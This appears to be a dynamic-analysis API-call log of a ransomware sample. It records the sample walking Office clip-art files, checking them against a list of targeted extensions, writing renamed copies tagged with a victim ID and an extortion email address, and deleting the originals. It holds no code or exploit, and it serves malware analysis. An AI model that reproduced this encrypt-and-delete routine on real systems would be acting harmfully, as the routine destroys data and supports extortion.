	[0095.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.090] lstrlenW (lpString=".1cd") returned 4
	[0095.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.091] lstrlenW (lpString=".jpg") returned 4
	[0095.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.091] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.091] lstrlenW (lpString="HH02155_.WMF") returned 12
	[0095.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.091] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2704) returned 1
	[0095.091] CloseHandle (hObject=0x2bc) returned 1
	[0095.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220
	[0095.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.092] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.092] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0095.092] GetLastError () returned 0x0
	[0095.092] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xa90, lpOverlapped=0x0) returned 1
	[0095.096] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xaa0, lpOverlapped=0x0) returned 1
	[0095.097] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.097] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.097] SetEndOfFile (hFile=0x398) returned 1
	[0095.097] CloseHandle (hObject=0x398) returned 1
	[0095.097] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.097] SetEndOfFile (hFile=0x2bc) returned 1
	[0095.098] CloseHandle (hObject=0x2bc) returned 1
	[0095.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1
	[0095.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.099] lstrlenW (lpString=".doc") returned 4
	[0095.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.099] lstrlenW (lpString=".docx") returned 5
	[0095.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.099] lstrlenW (lpString=".pdf") returned 4
	[0095.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.099] lstrlenW (lpString=".xls") returned 4
	[0095.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.099] lstrlenW (lpString=".xlsx") returned 5
	[0095.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.099] lstrlenW (lpString=".ppt") returned 4
	[0095.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.099] lstrlenW (lpString=".zip") returned 4
	[0095.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.099] lstrlenW (lpString=".rar") returned 4
	[0095.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.099] lstrlenW (lpString=".bz2") returned 4
	[0095.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.099] lstrlenW (lpString=".7z") returned 3
	[0095.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.099] lstrlenW (lpString=".dbf") returned 4
	[0095.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.099] lstrlenW (lpString=".1cd") returned 4
	[0095.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.099] lstrlenW (lpString=".jpg") returned 4
	[0095.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.100] lstrlenW (lpString=".doc") returned 4
	[0095.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.100] lstrlenW (lpString=".docx") returned 5
	[0095.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.100] lstrlenW (lpString=".pdf") returned 4
	[0095.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.100] lstrlenW (lpString=".xls") returned 4
	[0095.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.100] lstrlenW (lpString=".xlsx") returned 5
	[0095.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.100] lstrlenW (lpString=".ppt") returned 4
	[0095.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.100] lstrlenW (lpString=".zip") returned 4
	[0095.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.100] lstrlenW (lpString=".rar") returned 4
	[0095.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.100] lstrlenW (lpString=".bz2") returned 4
	[0095.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.100] lstrlenW (lpString=".7z") returned 3
	[0095.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.100] lstrlenW (lpString=".dbf") returned 4
	[0095.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.100] lstrlenW (lpString=".1cd") returned 4
	[0095.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0095.100] lstrlenW (lpString=".jpg") returned 4
	[0095.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.100] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.101] lstrlenW (lpString="HH02166_.WMF") returned 12
	[0095.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.103] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1324) returned 1
	[0095.103] CloseHandle (hObject=0x2bc) returned 1
	[0095.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220
	[0095.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.103] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.103] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0095.104] GetLastError () returned 0x0
	[0095.104] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x52c, lpOverlapped=0x0) returned 1
	[0095.107] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x530, lpOverlapped=0x0) returned 1
	[0095.108] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.108] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.108] SetEndOfFile (hFile=0x398) returned 1
	[0095.108] CloseHandle (hObject=0x398) returned 1
	[0095.108] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.109] SetEndOfFile (hFile=0x2bc) returned 1
	[0095.111] CloseHandle (hObject=0x2bc) returned 1
	[0095.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1
	[0095.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.111] lstrlenW (lpString=".doc") returned 4
	[0095.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.111] lstrlenW (lpString=".docx") returned 5
	[0095.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.111] lstrlenW (lpString=".pdf") returned 4
	[0095.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.111] lstrlenW (lpString=".xls") returned 4
	[0095.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.112] lstrlenW (lpString=".xlsx") returned 5
	[0095.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.112] lstrlenW (lpString=".ppt") returned 4
	[0095.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.112] lstrlenW (lpString=".zip") returned 4
	[0095.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.113] lstrlenW (lpString=".rar") returned 4
	[0095.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.113] lstrlenW (lpString=".bz2") returned 4
	[0095.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.113] lstrlenW (lpString=".7z") returned 3
	[0095.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.113] lstrlenW (lpString=".dbf") returned 4
	[0095.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.113] lstrlenW (lpString=".1cd") returned 4
	[0095.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.113] lstrlenW (lpString=".jpg") returned 4
	[0095.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.114] lstrlenW (lpString=".doc") returned 4
	[0095.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.114] lstrlenW (lpString=".docx") returned 5
	[0095.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.114] lstrlenW (lpString=".pdf") returned 4
	[0095.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.114] lstrlenW (lpString=".xls") returned 4
	[0095.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.114] lstrlenW (lpString=".xlsx") returned 5
	[0095.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.114] lstrlenW (lpString=".ppt") returned 4
	[0095.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.117] lstrlenW (lpString=".zip") returned 4
	[0095.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.118] lstrlenW (lpString=".rar") returned 4
	[0095.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.118] lstrlenW (lpString=".bz2") returned 4
	[0095.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.118] lstrlenW (lpString=".7z") returned 3
	[0095.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.118] lstrlenW (lpString=".dbf") returned 4
	[0095.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.118] lstrlenW (lpString=".1cd") returned 4
	[0095.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0095.118] lstrlenW (lpString=".jpg") returned 4
	[0095.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.118] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.118] lstrlenW (lpString="HH02282_.WMF") returned 12
	[0095.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.130] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7932) returned 1
	[0095.130] CloseHandle (hObject=0x2bc) returned 1
	[0095.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220
	[0095.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.134] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.134] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0095.134] GetLastError () returned 0x0
	[0095.134] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1efc, lpOverlapped=0x0) returned 1
	[0095.604] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1f00, lpOverlapped=0x0) returned 1
	[0095.606] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.606] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.606] SetEndOfFile (hFile=0x398) returned 1
	[0095.833] CloseHandle (hObject=0x398) returned 1
	[0095.833] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.833] SetEndOfFile (hFile=0x2bc) returned 1
	[0095.834] CloseHandle (hObject=0x2bc) returned 1
	[0095.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1
	[0095.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.835] lstrlenW (lpString=".doc") returned 4
	[0095.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.835] lstrlenW (lpString=".docx") returned 5
	[0095.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.835] lstrlenW (lpString=".pdf") returned 4
	[0095.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.835] lstrlenW (lpString=".xls") returned 4
	[0095.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.835] lstrlenW (lpString=".xlsx") returned 5
	[0095.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.835] lstrlenW (lpString=".ppt") returned 4
	[0095.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.835] lstrlenW (lpString=".zip") returned 4
	[0095.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.835] lstrlenW (lpString=".rar") returned 4
	[0095.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.835] lstrlenW (lpString=".bz2") returned 4
	[0095.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.835] lstrlenW (lpString=".7z") returned 3
	[0095.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.835] lstrlenW (lpString=".dbf") returned 4
	[0095.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.836] lstrlenW (lpString=".1cd") returned 4
	[0095.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.836] lstrlenW (lpString=".jpg") returned 4
	[0095.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.836] lstrlenW (lpString=".doc") returned 4
	[0095.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.836] lstrlenW (lpString=".docx") returned 5
	[0095.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.836] lstrlenW (lpString=".pdf") returned 4
	[0095.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.836] lstrlenW (lpString=".xls") returned 4
	[0095.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.836] lstrlenW (lpString=".xlsx") returned 5
	[0095.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.836] lstrlenW (lpString=".ppt") returned 4
	[0095.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.836] lstrlenW (lpString=".zip") returned 4
	[0095.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.836] lstrlenW (lpString=".rar") returned 4
	[0095.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.836] lstrlenW (lpString=".bz2") returned 4
	[0095.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.836] lstrlenW (lpString=".7z") returned 3
	[0095.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
